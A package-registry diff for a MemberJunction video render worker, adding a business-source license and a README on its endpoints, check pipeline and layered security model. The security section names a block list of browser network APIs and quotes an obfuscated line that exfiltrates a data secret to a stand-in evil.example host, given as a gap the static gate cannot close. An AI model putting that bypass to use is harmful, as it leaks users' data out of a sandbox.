@memberjunction/video-studio-render-worker 0.0.1-seed.1 → 6.2.0-edge.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (59) hide show
  1. package/LICENSE +183 -0
  2. package/README.md +139 -4
  3. package/assets/fonts/Inter-OFL.txt +93 -0
  4. package/assets/fonts/Inter-Regular.ttf +0 -0
  5. package/assets/fonts/JetBrainsMono-OFL.txt +93 -0
  6. package/assets/fonts/JetBrainsMono-Regular.ttf +0 -0
  7. package/dist/backend.d.ts +201 -0
  8. package/dist/backend.d.ts.map +1 -0
  9. package/dist/backend.js +205 -0
  10. package/dist/backend.js.map +1 -0
  11. package/dist/bundle.d.ts +112 -0
  12. package/dist/bundle.d.ts.map +1 -0
  13. package/dist/bundle.js +433 -0
  14. package/dist/bundle.js.map +1 -0
  15. package/dist/checks/dom-rules.d.ts +57 -0
  16. package/dist/checks/dom-rules.d.ts.map +1 -0
  17. package/dist/checks/dom-rules.js +205 -0
  18. package/dist/checks/dom-rules.js.map +1 -0
  19. package/dist/checks/hyperframes-check.d.ts +37 -0
  20. package/dist/checks/hyperframes-check.d.ts.map +1 -0
  21. package/dist/checks/hyperframes-check.js +161 -0
  22. package/dist/checks/hyperframes-check.js.map +1 -0
  23. package/dist/checks/static-checks.d.ts +46 -0
  24. package/dist/checks/static-checks.d.ts.map +1 -0
  25. package/dist/checks/static-checks.js +681 -0
  26. package/dist/checks/static-checks.js.map +1 -0
  27. package/dist/hyperframes-backend.d.ts +53 -0
  28. package/dist/hyperframes-backend.d.ts.map +1 -0
  29. package/dist/hyperframes-backend.js +733 -0
  30. package/dist/hyperframes-backend.js.map +1 -0
  31. package/dist/index.d.ts +20 -0
  32. package/dist/index.d.ts.map +1 -0
  33. package/dist/index.js +20 -0
  34. package/dist/index.js.map +1 -0
  35. package/dist/jobs.d.ts +88 -0
  36. package/dist/jobs.d.ts.map +1 -0
  37. package/dist/jobs.js +650 -0
  38. package/dist/jobs.js.map +1 -0
  39. package/dist/lint-gate.d.ts +21 -0
  40. package/dist/lint-gate.d.ts.map +1 -0
  41. package/dist/lint-gate.js +528 -0
  42. package/dist/lint-gate.js.map +1 -0
  43. package/dist/main.d.ts +47 -0
  44. package/dist/main.d.ts.map +1 -0
  45. package/dist/main.js +195 -0
  46. package/dist/main.js.map +1 -0
  47. package/dist/one-shot.d.ts +37 -0
  48. package/dist/one-shot.d.ts.map +1 -0
  49. package/dist/one-shot.js +228 -0
  50. package/dist/one-shot.js.map +1 -0
  51. package/dist/preamble.d.ts +69 -0
  52. package/dist/preamble.d.ts.map +1 -0
  53. package/dist/preamble.js +331 -0
  54. package/dist/preamble.js.map +1 -0
  55. package/dist/server.d.ts +75 -0
  56. package/dist/server.d.ts.map +1 -0
  57. package/dist/server.js +526 -0
  58. package/dist/server.js.map +1 -0
  59. package/package.json +43 -5
package/LICENSE ADDED
@@ -0,0 +1,183 @@
1
+ Business Source License 1.1
2
+
3
+ License text copyright (c) 2024 MariaDB plc, All Rights Reserved.
4
+ "Business Source License" is a trademark of MariaDB plc.
5
+
6
+ -----------------------------------------------------------------------------
7
+
8
+ Parameters
9
+
10
+ Licensor: Blue Cypress, Inc.
11
+
12
+ Licensed Work: MemberJunction.
13
+ The Licensed Work is (c) 2023-2026 Blue Cypress, Inc.
14
+
15
+ Additional Use Grant: Subject to the terms of this License, Licensor grants
16
+ you the following additional rights to make Production
17
+ Use of the Licensed Work.
18
+
19
+ 1. Internal Use
20
+
21
+ You may make production use of the Licensed Work for
22
+ your own internal business or organizational operations.
23
+
24
+ 2. Nonprofit Use
25
+
26
+ If you are a Nonprofit, you may make production use of
27
+ the Licensed Work for the operations and activities of
28
+ your Organizational Family.
29
+
30
+ 3. MemberJunction Certified Program Use
31
+
32
+ If you are authorized by Licensor under the
33
+ MemberJunction Certified Program to provide professional
34
+ services using the Licensed Work, you may make
35
+ production use of the Licensed Work in providing such
36
+ professional services to a client, provided that:
37
+
38
+ (a) the Licensed Work is deployed in, and the applicable
39
+ production use occurs within, an environment owned,
40
+ leased, licensed, subscribed to, or otherwise controlled
41
+ by that client; and
42
+
43
+ (b) the production use is for that client's own internal
44
+ business or organizational operations or is otherwise
45
+ independently permitted to that client under this
46
+ Additional Use Grant.
47
+
48
+ 4. Definitions Applicable to the Additional Use Grant
49
+
50
+ "Affiliate" means, with respect to a specified Person,
51
+ any other Person that directly or indirectly Controls,
52
+ is Controlled by, or is under common Control with such
53
+ specified Person.
54
+
55
+ "Control" (including the terms "Controls," "Controlled
56
+ by," and "under common Control with") means the direct
57
+ or indirect possession of the power to direct or cause
58
+ the direction of the management and policies of a
59
+ Person, whether through ownership of voting interests,
60
+ by contract, or otherwise.
61
+
62
+ "Organizational Family" means, with respect to a Person,
63
+ (a) such Person and its Affiliates, and (b) any
64
+ nonprofit organization, governmental entity, chapter,
65
+ division, local affiliate, regional affiliate, state
66
+ affiliate, national affiliate, or other entity that is
67
+ formally affiliated with such Person through governing
68
+ documents, a charter, bylaws, a membership agreement, or
69
+ another written organizational instrument, and is
70
+ recognized under such documents as part of the same
71
+ organizational structure.
72
+
73
+ "Nonprofit" means a Person recognized by the Internal
74
+ Revenue Service as exempt from federal income taxation
75
+ under Section 501(c)(3), 501(c)(4), 501(c)(5), or
76
+ 501(c)(6) of the Internal Revenue Code, or a foreign
77
+ organization recognized under substantially equivalent
78
+ laws.
79
+
80
+ A Person claiming eligibility as a Nonprofit shall, upon
81
+ Licensor's reasonable request, provide documentation
82
+ reasonably sufficient to demonstrate that it qualifies
83
+ as a Nonprofit. If such Person materially misrepresents,
84
+ or is unable to demonstrate, its qualification as a
85
+ Nonprofit, the rights granted to such Person under
86
+ Section 2 of this Additional Use Grant shall terminate.
87
+
88
+ "MemberJunction Certified Program" means Licensor's
89
+ then-current program for certifying and authorizing a
90
+ Person to provide professional services using the
91
+ Licensed Work.
92
+
93
+ "Person" means any individual, corporation, limited
94
+ liability company, partnership, association, nonprofit
95
+ organization, governmental entity, or other legal or
96
+ organizational entity.
97
+
98
+ Change Date: Four (4) years from the date the Licensed Work is first
99
+ made available.
100
+
101
+ Change License: MIT License.
102
+
103
+ For information about alternative licensing arrangements for the Licensed
104
+ Work, please contact Blue Cypress, Inc.
105
+
106
+ -----------------------------------------------------------------------------
107
+
108
+ Terms
109
+
110
+ The Licensor hereby grants you the right to copy, modify, create derivative
111
+ works, redistribute, and make non-production use of the Licensed Work. The
112
+ Licensor may make an Additional Use Grant, above, permitting limited
113
+ production use.
114
+
115
+ Effective on the Change Date, or the fourth anniversary of the first publicly
116
+ available distribution of a specific version of the Licensed Work under this
117
+ License, whichever comes first, the Licensor hereby grants you rights under
118
+ the terms of the Change License, and the rights granted in the paragraph
119
+ above terminate.
120
+
121
+ If your use of the Licensed Work does not comply with the requirements
122
+ currently in effect as described in this License, you must purchase a
123
+ commercial license from the Licensor, its affiliated entities, or authorized
124
+ resellers, or you must refrain from using the Licensed Work.
125
+
126
+ All copies of the original and modified Licensed Work, and derivative works
127
+ of the Licensed Work, are subject to this License. This License applies
128
+ separately for each version of the Licensed Work and the Change Date may vary
129
+ for each version of the Licensed Work released by Licensor.
130
+
131
+ You must conspicuously display this License on each original or modified copy
132
+ of the Licensed Work. If you receive the Licensed Work in original or
133
+ modified form from a third party, the terms and conditions set forth in this
134
+ License apply to your use of that work.
135
+
136
+ Any use of the Licensed Work in violation of this License will automatically
137
+ terminate your rights under this License for the current and all other
138
+ versions of the Licensed Work.
139
+
140
+ This License does not grant you any right in any trademark or logo of
141
+ Licensor or its affiliates (provided that you may use a trademark or logo of
142
+ Licensor as expressly required by this License).
143
+
144
+ TO THE EXTENT PERMITTED BY APPLICABLE LAW, THE LICENSED WORK IS PROVIDED ON
145
+ AN "AS IS" BASIS. LICENSOR HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS,
146
+ EXPRESS OR IMPLIED, INCLUDING (WITHOUT LIMITATION) WARRANTIES OF
147
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, AND
148
+ TITLE.
149
+
150
+ MariaDB hereby grants you permission to use this License's text to license
151
+ your works, and to refer to it using the trademark "Business Source License",
152
+ as long as you comply with the Covenants of Licensor below.
153
+
154
+ -----------------------------------------------------------------------------
155
+
156
+ Covenants of Licensor
157
+
158
+ In consideration of the right to use this License's text and the "Business
159
+ Source License" name and trademark, Licensor covenants to MariaDB, and to all
160
+ other recipients of the licensed work to be provided by Licensor:
161
+
162
+ 1. To specify as the Change License the GPL Version 2.0 or any later version,
163
+ or a license that is compatible with GPL Version 2.0 or a later version,
164
+ where "compatible" means that software provided under the Change License
165
+ can be included in a program with software provided under GPL Version 2.0
166
+ or a later version. Licensor may specify additional Change Licenses without
167
+ limitation.
168
+
169
+ 2. To either: (a) specify an additional grant of rights to use that does not
170
+ impose any additional restriction on the right granted in this License, as
171
+ the Additional Use Grant; or (b) insert the text "None".
172
+
173
+ 3. To specify a Change Date.
174
+
175
+ 4. Not to modify this License in any other way.
176
+
177
+ -----------------------------------------------------------------------------
178
+
179
+ Notice
180
+
181
+ The Business Source License (this document, or the "License") is not an Open
182
+ Source license. However, the Licensed Work will eventually be made available
183
+ under an Open Source License, as stated in this License.
package/README.md CHANGED
@@ -1,4 +1,139 @@
1
- # @memberjunction/video-studio-render-worker
2
- Seed release published over OIDC to prove trusted publishing is configured for
3
- this package. It contains no code and is tagged `seed`, never `latest`.
4
- Real releases are published by .github/workflows/publish.yml.
1
+ # `@memberjunction/video-studio-render-worker`
2
+
3
+ Stateless, sandboxed composition render worker for MemberJunction Video Studio. It accepts a `RenderProjectBundle` over HTTP (`RENDER_WORKER_ROUTES`), enforces a strict Content Security Policy (`COMPOSITION_CSP`) and static lint gate (`RunLintGate`), injects the deterministic `window.MJVideo` runtime preamble (`InjectPreambleIntoHtml`), runs deterministic quality checks (`RunCheckJob`), and renders HTML/CSS/SVG/GSAP/Canvas compositions via HyperFrames (`hyperframes`, `@hyperframes/producer`, `@hyperframes/engine`, `@hyperframes/lint`, `@hyperframes/core`, `@hyperframes/parsers`, `@hyperframes/studio-server` pinned at `0.8.134`) and `ffmpeg`.
4
+
5
+ This package has **no** dependency on `@memberjunction/core`, `@memberjunction/core-entities`, or any database driver, and holds no vendor or database credentials.
6
+
7
+ ## Endpoints
8
+
9
+ | Method | Path | Description |
10
+ | --- | --- | --- |
11
+ | `GET` | `/health` | Probes HyperFrames, `ffmpeg`, `ffprobe`, and Chromium; returns `200` (`Healthy: true`) or `503` (`Healthy: false`). Requires `Authorization: Bearer <token>` when `VIDEO_STUDIO_RENDER_TOKEN` is set. |
12
+ | `POST` | `/check` | Runs the deterministic check pipeline: RND-1 security/lint gate → static authored-file checks → preamble + default fonts → `hyperframes check --json` CLI audit → in-page DOM text measurements (`SampleTimestampsSeconds ?? [0]`) and DOM rules. A lint-blocked bundle returns lint issues immediately without launching Chromium. |
13
+ | `POST` | `/render` | Validates, lints, injects the CSP + `window.MJVideo` preamble, renders an H.264/AAC MP4 (`yuv420p`, `+faststart`), streams `RenderStreamEvent` NDJSON lines, and stores the MP4 for one-shot retrieval at `/videos/<VideoID>`. |
14
+ | `GET` | `/videos/<VideoID>` | Streams a rendered MP4 (`video/mp4`) once and removes it from the ephemeral video store. |
15
+ | `POST` | `/stills` | Captures still frames (`png` or `jpeg`) across `Points` in a single Chromium session. |
16
+ | `POST` | `/contact-sheet` | Builds a contact sheet grid (and optional `TransitionStrip`) from captured stills in a single Chromium session. |
17
+ | `POST` | `/keyframes` | Extracts scene-change (`0.3` threshold) and uniform-sample keyframes from a base64 MP4 via `ffmpeg` / `ffprobe` (default `MaxFrames`: `16`). |
18
+
19
+ ## Environment Variables (`RENDER_WORKER_ENV`)
20
+
21
+ | Variable | Default | Description |
22
+ | --- | --- | --- |
23
+ | `VIDEO_STUDIO_RENDER_HOST` | `127.0.0.1` (`0.0.0.0` in Docker) | Bind address for the HTTP server. |
24
+ | `VIDEO_STUDIO_RENDER_PORT` | `0` (`8080` in Docker) | Bind port (`0` selects an ephemeral OS port and prints `VIDEO_STUDIO_RENDER_WORKER_PORT=<port>` on `stdout`). |
25
+ | `VIDEO_STUDIO_RENDER_TOKEN` | *(unset)* | Shared bearer token required on **every** route (including `GET /health`) when set. **Required** whenever `VIDEO_STUDIO_RENDER_HOST` is not a loopback address (`127.0.0.1`, `::1`, `localhost`). |
26
+ | `VIDEO_STUDIO_RENDER_MAX_BODY_MB` | `256` | Maximum JSON request body size in megabytes (`413 BodyTooLarge` when exceeded while streaming). |
27
+ | `VIDEO_STUDIO_RENDER_CONCURRENCY` | `1` | Maximum concurrent heavy jobs (`/render`, `/stills`, `/contact-sheet`, `/check`, `/keyframes`); excess requests wait in a FIFO queue. |
28
+ | `VIDEO_STUDIO_RENDER_MAX_TIMEOUT_MS` | `1800000` (30 min) | Hard ceiling for `/render` jobs (`min(req.TimeoutMs, VIDEO_STUDIO_RENDER_MAX_TIMEOUT_MS)`). Non-render routes time out after 5 minutes (`300000` ms). |
29
+ | `VIDEO_STUDIO_RENDER_ALLOW_ROOT` | `false` | Refuses to start when running as `uid === 0` unless set to `1` or `true`. |
30
+
31
+ Optional browser/telemetry overrides read by the backend:
32
+ - `CHROME_PATH` / `PUPPETEER_EXECUTABLE_PATH` / `PUPPETEER_CACHE_DIR`: Path to the pinned `chrome-headless-shell` binary or Puppeteer cache directory.
33
+ - `DO_NOT_TRACK=1` and `HYPERFRAMES_NO_TELEMETRY=1`: Automatically set by the worker to prevent HyperFrames from sending usage telemetry.
34
+
35
+ ### Token & Non-Loopback Rule
36
+
37
+ - If `VIDEO_STUDIO_RENDER_HOST` is non-loopback (e.g., `0.0.0.0` inside Docker) and `VIDEO_STUDIO_RENDER_TOKEN` is empty, `CreateRenderWorkerServer` throws immediately on startup.
38
+ - When `VIDEO_STUDIO_RENDER_TOKEN` is configured, every request to every route (`GET /health`, `POST /render`, `GET /videos/<id>`, `POST /stills`, `POST /contact-sheet`, `POST /check`, `POST /keyframes`) must supply `Authorization: Bearer <token>`. Token comparison hashes both values with SHA-256 and compares the 32-byte digests via `crypto.timingSafeEqual`.
39
+
40
+ ## Deterministic Check Pipeline (`RunCheckJob`)
41
+
42
+ `RunCheckJob` runs checks in order:
43
+ 1. **Validate & Stage (`StageRenderBundle`)**: Validates bundle paths (`ValidateRenderBundle`), frame geometry (`ValidateRenderGeometry`), and composition `data-*` geometry alignment (`ValidateCompositionGeometryMatch`). Stages authored files into a temporary directory along with bundled SIL OFL default fonts (`Inter-Regular.ttf` aliased as `'MJ Sans'` and `JetBrainsMono-Regular.ttf` aliased as `'MJ Mono'` under `__mj_fonts/` so HyperFrames' font compiler never rewrites them to `fonts.googleapis.com`), and injects `COMPOSITION_CSP`, `<style data-mj-default-fonts>`, and the `window.MJVideo` runtime preamble on a single line (`InjectPreambleIntoHtml`) so line numbers in diagnostics match authored files.
44
+ 2. **Lint Gate (`RunLintGate`)**: Scans `request.Bundle.Files` in memory (`ScanAuthoredFilesForLintIssues`: `MJ_NON_BUNDLE_URL`, `MJ_NETWORK_API`) and runs `@hyperframes/lint` (`lintProject`) against the staged directory. Note: `@hyperframes/lint`'s `lintMediaUrls` is intentionally **not** called because at `0.8.134` it issues live outbound HTTP `HEAD` requests (`fetch`) from Node, which would create an SSRF vector. If `BlockRender` is true, `RunCheckJob` returns immediately without invoking Chromium.
45
+ 3. **Static Checks (`RunStaticChecks`)**: Pure authored-file checks on `request.Bundle` (`MJ_MISSING_ASSET`, `MJ_NONDETERMINISTIC_API`, `MJ_UNBOUND_LITERAL_SOURCE`). Note that `@hyperframes/lint`'s `non_deterministic_code` rule blocks raw `Math.random()` in `<script>` blocks even though the runtime preamble seeds `Math.random`; compositions and prompts should call `window.MJVideo.Random()` directly.
46
+ 4. **HyperFrames CLI Audit (`backend.RunCheckCli` → `MapHyperFramesCheckOutput`)**: Runs `hyperframes check --json --no-proxy --no-browser-gpu <dir>` as a child subprocess with an allowlisted environment, per-job `HOME`, telemetry off, and no network by policy (`BuildReducedCheckCliEnv`: `env` reduced to the six-key allowlist `PATH`, `TMPDIR`, a fresh per-job `HOME`, `DO_NOT_TRACK=1`, `HYPERFRAMES_NO_TELEMETRY=1`, and `HYPERFRAMES_BROWSER_PATH`, 2-minute timeout; Docker `--network none` is the network isolation boundary) and maps `layout`, `contrast`, and `motion` findings (plus top-level `{"ok":false,"error":"..."}` errors as `MJ_CHECK_CLI_FAILED`).
47
+ 5. **DOM Measurement & Rules (`backend.MeasureText` → `EvaluateDomRules`)**: Runs `normalizeSystemFontPrimaryFamilies` and `injectDeterministicFontFaces` (offline) on `index.html`, seeks the composition via `captureFrameToBuffer` at `SampleTimestampsSeconds ?? [0]` with bundle-only request interception (`CaptureSession.page.setRequestInterception(true)`), measures visible text nodes (using tight `Range.getClientRects()` text node union for HTML elements and `getBoundingClientRect()` for SVG `<text>`) via `BuildMeasureTextInPageScript`, and evaluates `MJ_SAFE_AREA`, `MJ_MIN_TEXT_SIZE`, `MJ_UNBOUND_LITERAL_RENDERED`, and `MJ_UNBUNDLED_FONT`.
48
+ 6. **Merge, Dedupe & Sort (`DedupeCheckIssues`, `SortCheckIssues`)**: Deduplicates on `Code + Selector + File + Line` keeping the earliest `TimestampSeconds`, sorts deterministically, and sets `Passed = !Issues.some(i => i.Severity === 'Error')` and `BlockRender = !Passed`.
49
+
50
+ ### Check Codes Reference
51
+
52
+ | Code | Category | Severity | Stage | Description |
53
+ | --- | --- | --- | --- | --- |
54
+ | `MJ_NON_BUNDLE_URL` | `RemoteUrl` | `Error` | Lint Gate | Relative path escaping the bundle root, non-bundle URL (`http:`, `https:`, `//`, `ws:`, `file:`, `javascript:`) in HTML, CSS, SVG, or JS, or `<script src>` / JS `import` specifier that does not resolve to an entry in `Bundle.Files`. |
55
+ | `MJ_NETWORK_API` | `RemoteUrl` | `Error` | Lint Gate | Forbidden browser network/navigation API (`fetch`, `XMLHttpRequest`, `WebSocket`, `EventSource`, `sendBeacon`, `RTCPeerConnection`, `importScripts`, `serviceWorker`, `window.open`, `location`, inline event handlers `on*=`, `<meta http-equiv="refresh">`, `<base>`, `<link rel="prefetch\|preconnect\|dns-prefetch\|prerender">`). |
56
+ | `MJ_MISSING_ASSET` | `MissingAsset` | `Error` | Static Checks | Bundle-relative reference in HTML, CSS, SVG, or JS that does not resolve to any entry in `Bundle.Files` or `Bundle.Assets`. |
57
+ | `MJ_NONDETERMINISTIC_API` | `Lint` | `Error` | Static Checks | Non-deterministic timer/clock API (`Date.now(`, `new Date()`, `performance.now(`, `requestAnimationFrame(`, `setTimeout(`, `setInterval(`) in composition scripts (skipping inline HTML `<script>` patterns already reported by `@hyperframes/lint` as `non_deterministic_code` or `requestanimationframe_in_composition`). |
58
+ | `MJ_UNBOUND_LITERAL_SOURCE` | `DataLiteral` | `Error` | Static Checks | Numeric literal token (`ExtractNumericLiteralTokens`) in authored HTML/SVG text outside `<script>`/`<style>` and outside `data-mj-bound` that is not in `AllowedDataLiterals`. |
59
+ | `MJ_SAFE_AREA` | `SafeArea` | `Error` | DOM Rules | Rendered text bounding box extends outside the format's safe-area insets (`SAFE_AREA_INSETS`). |
60
+ | `MJ_MIN_TEXT_SIZE` | `MinTextSize` | `Error` | DOM Rules | Rendered text `FontSizePx` is below `MIN_TEXT_SIZE_SHORT_EDGE_RATIO * Math.min(Width, Height)` (`27px` at `1080p`). |
61
+ | `MJ_UNBOUND_LITERAL_RENDERED` | `DataLiteral` | `Error` | DOM Rules | Rendered text outside `[data-mj-bound]` contains a numeric literal token not in `AllowedDataLiterals`. |
62
+ | `MJ_BOUND_KEY_UNKNOWN` | `DataLiteral` | `Error` | DOM Rules | Rendered text inside `[data-mj-bound="<key>"]` has an empty `data-mj-bound` attribute or references a key not in `BoundDataLiterals`. |
63
+ | `MJ_BOUND_VALUE_MISMATCH` | `DataLiteral` | `Error` | DOM Rules | At a settle timestamp (`SettleTimestampsSeconds`), rendered text inside `[data-mj-bound="<key>"]` contains a numeric literal token not in `BoundDataLiterals[key]`. Intermediate animated count-up frames at non-settle timestamps are not flagged. |
64
+ | `MJ_ASOF_CARD_MISSING` | `Provenance` | `Error` | DOM Rules | A required provenance / as-of card substring (`RequiredFinalFrameText`, e.g., `Data as of YYYY-MM-DD`) is not present in any visible text element on the final frame. |
65
+ | `MJ_UNBUNDLED_FONT` | `Lint` | `Warning` | DOM Rules | Rendered text's primary computed `font-family` is neither a loaded `@font-face` in `document.fonts` nor one of the worker's bundled default fonts (`MJ Sans`, `MJ Mono`). |
66
+ | `MJ_CHECK_CLI_UNREADABLE` | `Lint` | `Warning` | CLI Audit | `hyperframes check --json` stdout was empty, malformed JSON, or missing audit sections. |
67
+ | `MJ_CHECK_CLI_FAILED` | `Lint` | `Warning` | CLI Audit | `hyperframes check` subprocess crashed, timed out, or failed to spawn. |
68
+ | `MJ_MEASURE_TEXT_FAILED` | `Lint` | `Warning` | DOM Rules | `backend.MeasureText` threw while measuring rendered DOM text. |
69
+ | `text_box_overflow`, `canvas_overflow`, `sibling_overlap`, ... | `Layout` | `Error` / `Warning` | CLI Audit | HyperFrames CLI layout audit findings mapped from `layout.findings`. |
70
+ | `contrast_aa_failure`, ... | `Contrast` | `Error` / `Warning` | CLI Audit | HyperFrames CLI WCAG contrast audit findings mapped from `contrast.findings`. |
71
+ | `jitter`, `pacing`, ... | `Lint` | `Error` / `Warning` | CLI Audit | HyperFrames CLI motion audit findings mapped from `motion.findings`. |
72
+
73
+ ### Tunable DOM Check Constants (`src/checks/dom-rules.ts`)
74
+
75
+ - **`SAFE_AREA_INSETS`**: Fractional safe-area margins per `VideoFormat`:
76
+ - `16:9`: `{ Top: 0.05, Bottom: 0.05, Left: 0.05, Right: 0.05 }`
77
+ - `1:1`: `{ Top: 0.05, Bottom: 0.05, Left: 0.05, Right: 0.05 }`
78
+ - `9:16`: `{ Top: 0.10, Bottom: 0.20, Left: 0.06, Right: 0.12 }`
79
+ - **`MIN_TEXT_SIZE_SHORT_EDGE_RATIO`**: `0.025` (`2.5%` of `Math.min(Width, Height)`, which equals `27px` on a `1920x1080` or `1080x1920` frame).
80
+
81
+ ## Security Model & Defense in Depth
82
+
83
+ 1. **Layer 1 — Path Traversal & Bundle Validation**: Every `Bundle.Files` and `Bundle.Assets` path is validated by `ValidateBundleRelativePath` before a single byte is written to disk. Absolute paths, `..` segments, Windows drive prefixes (`C:foo`), backslashes, NUL/control bytes, strict base64 violations, and case-insensitive collisions return `400 InvalidBundle`.
84
+ 2. **Layer 2 — Pre-Render Static & HyperFrames Lint Gate**: `RunLintGate` combines `@hyperframes/lint` (`lintProject`) with static checks across all authored `.html`/`.htm`, `.css`, `.svg`, and script entries in `Bundle.Files` (`MJ_NON_BUNDLE_URL`, `MJ_NETWORK_API`), including HTML inline event handlers (`onerror`, `onload`, `onclick`, etc.), entity-encoded attributes, quoted `>` inside `<script>` tags, and `.css` entries in `Bundle.Files` (which a browser would execute if referenced via `<script src="s.css">`). Every raw `<script src="...">` attribute and JS `import` specifier (before entity decoding) must match `^[A-Za-z0-9._@/-]+$` with no leading `/` and resolve to an entry in `Bundle.Files` (rejecting `Bundle.Assets` or non-existent script paths). **What a static gate cannot stop**: obfuscated inline JS (e.g., `self["loc"+"ation"] = "//evil.example/?d=" + MJVideo.Data.Secret`) and `<script>` elements created dynamically at runtime (e.g., `document.createElement("script")` whose `src` is a `Bundle.Assets` entry).
85
+ 3. **Layer 3 — Strict Injected CSP**: `InjectPreambleIntoHtml` injects `<meta http-equiv="Content-Security-Policy" content="default-src 'self' data: blob:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'none'; frame-src 'none'; worker-src 'none'; object-src 'none'; base-uri 'none'; form-action 'none'">` right after `<!doctype ...>` (or byte 0) into every `.html`/`.htm` file.
86
+ 4. **Layer 4 — Ephemeral Staging, Non-Root Execution & Container Isolation**: Each job stages into a fresh `fs.mkdtemp` directory removed in `finally`, enforces hard timeouts and a FIFO concurrency semaphore, and refuses to run as root (`uid === 0`).
87
+ 5. **Residual Gaps & Why Docker `--network none` Is Required for Untrusted Prompts (Decision 4 / D15)**:
88
+ - **Node-side `fetch()` in `@hyperframes/producer` and the `hyperframes check` CLI**: Before Chromium or its `<meta>` CSP ever runs, `@hyperframes/producer` (`dist/index.js`) and the `hyperframes check` CLI perform outbound Node `fetch()` steps:
89
+ 1. **Google Fonts lookup (`@hyperframes/producer/dist/index.js:155439`, `injectDeterministicFontFaces`)**: For any CSS `font-family` name that does not have a matching `@font-face` rule in the bundle (including OS font names such as `Arial` or `Roboto`, which connect to `fonts.googleapis.com:443`), both the render pipeline and the `hyperframes check` CLI call Node `fetch('https://fonts.googleapis.com/css2?family=...')`.
90
+ 2. **GSAP CDN rewrite (`@hyperframes/producer/dist/index.js:162586`, `rewriteUnresolvableGsapToCdn` → `inlineExternalScripts` at `:162180`)**: For any `<script src="...">` matching `[^"']*gsap[^"']*/dist/([^"']+)` where `existsSync(path.resolve(projectDir, src))` is false, `@hyperframes/producer` rewrites the attribute to `https://cdn.jsdelivr.net/npm/gsap@3.15.0/dist/$1`, and `inlineExternalScripts` (`:162180`) fetches every `http(s)` `<script src>` from Node and inlines the response body into the page.
91
+ - **Hardcoded `--no-sandbox` in `@hyperframes/engine`**: `@hyperframes/engine/dist/services/browserManager.js:667` (`buildChromeArgs`) launches `chrome-headless-shell` with `--no-sandbox` and `--disable-setuid-sandbox`, and the `/render` pipeline (`executeRenderJob`) does not expose a Puppeteer `page` hook for CDP request interception (whereas `CaptureStills` and `MeasureText` attach `page.setRequestInterception(true)` on `CaptureSession.page`).
92
+ - **What `<meta http-equiv="Content-Security-Policy">` and the static gate cannot block**: Browser CSP delivered via `<meta>` cannot block top-level document navigation (`window.location = ...`, `<meta http-equiv="refresh">`), WebRTC ICE/STUN UDP traffic (`RTCPeerConnection`), or `<link rel="dns-prefetch">` DNS resolution, and standalone `.svg` documents opened directly do not inherit HTML `<meta>` CSP. While `RunLintGate` statically blocks literal `location` assignments, `<meta http-equiv="refresh">`, `RTCPeerConnection`, and `<link rel="dns-prefetch">`, a static gate cannot stop obfuscated inline JS (`self["loc"+"ation"]`) or runtime-created `<script>` elements (`createElement("script")` pointing at an Asset), and a top-level navigation on the `/render` path can carry `MJVideo.Data` out.
93
+ - **Mitigation & Trust Boundary**: `StageRenderBundle` and `BuildDefaultFontsStyleTag` inject `@font-face` declarations for the bundled default fonts (`'MJ Sans'` and `'MJ Mono'`), and `RunLintGate` requires every raw `<script src>` and JS `import` specifier to match `^[A-Za-z0-9._@/-]+$` (no leading `/`) and resolve to an entry in `Bundle.Files`. Because static analysis cannot prevent obfuscated JS or runtime-created `<script>` navigation and `@hyperframes/producer` / `hyperframes check` can still attempt Google Fonts lookups from Node for unbundled font families, **`LocalWorker` is for trusted / development compositions only, and Docker (`--network none`, `--read-only`, `--cap-drop=ALL`, `--security-opt=no-new-privileges` in `DockerRenderDriver`, VS-RND-4) is the security boundary for untrusted content (Decision 4 / D15).**
94
+
95
+ ## Prerequisites & Local Development
96
+
97
+ 1. **Install pinned `chrome-headless-shell`**:
98
+ ```bash
99
+ cd packages/AI/VideoStudio/RenderWorker
100
+ pnpm run browser:install
101
+ ```
102
+ 2. **Install `ffmpeg` and `ffprobe`** (required for `/render`, `/keyframes`, and `/health`):
103
+ - **macOS**: `brew install ffmpeg`
104
+ - **Debian / Ubuntu**: `sudo apt-get update && sudo apt-get install -y ffmpeg`
105
+ 3. **Build and run tests**:
106
+ ```bash
107
+ # Build and run CI-safe unit tests (uses FakeRenderBackend, no browser or ffmpeg needed)
108
+ pnpm run build
109
+ pnpm test
110
+
111
+ # Run opt-in end-to-end Chromium + ffmpeg render and check tests
112
+ DO_NOT_TRACK=1 HYPERFRAMES_NO_TELEMETRY=1 VIDEO_STUDIO_RENDER_TESTS=1 pnpm test
113
+
114
+ # Start the HTTP worker locally on an ephemeral port (prints VIDEO_STUDIO_RENDER_WORKER_PORT=<port> on stdout)
115
+ node dist/main.js
116
+ ```
117
+
118
+ ## Docker Build & Run
119
+
120
+ > **Licensing note (Decision 8):** The runtime stage installs Debian Bookworm's `ffmpeg` package, which includes GPL-licensed components. This Docker image is for local/internal deployment and is not published to a public registry in this phase.
121
+
122
+ The image installs the exact `chrome-headless-shell` version expected by `@hyperframes/engine` into `/opt/puppeteer-cache` during the build stage, runs as non-root `USER node` (UID `1000`, compatible with any arbitrary non-root `--user uid:gid`), listens on port `8080` (`VIDEO_STUDIO_RENDER_HOST=0.0.0.0`, `VIDEO_STUDIO_RENDER_PORT=8080`), and defines `CMD ["node", "/app/dist/main.js"]` with **no `ENTRYPOINT`** so `DockerRenderDriver` (VS-RND-4) can run `sleep infinity` + `docker exec`.
123
+
124
+ ```bash
125
+ # Build from the repository root
126
+ docker build -f packages/AI/VideoStudio/RenderWorker/Dockerfile -t mj-video-render-worker:local .
127
+
128
+ # Run with bearer token authentication and container hardening
129
+ docker run --rm -p 127.0.0.1:18080:8080 \
130
+ -e VIDEO_STUDIO_RENDER_TOKEN=change-me-token \
131
+ --read-only \
132
+ --tmpfs /tmp:rw,noexec,nosuid,size=2g \
133
+ --cap-drop=ALL \
134
+ --security-opt=no-new-privileges \
135
+ mj-video-render-worker:local
136
+
137
+ # Probe /health with the bearer token
138
+ curl -fsS -H "Authorization: Bearer change-me-token" http://127.0.0.1:18080/health
139
+ ```
@@ -0,0 +1,93 @@
1
+ Copyright 2020 The Inter Project Authors (https://github.com/rsms/inter)
2
+
3
+ This Font Software is licensed under the SIL Open Font License, Version 1.1.
4
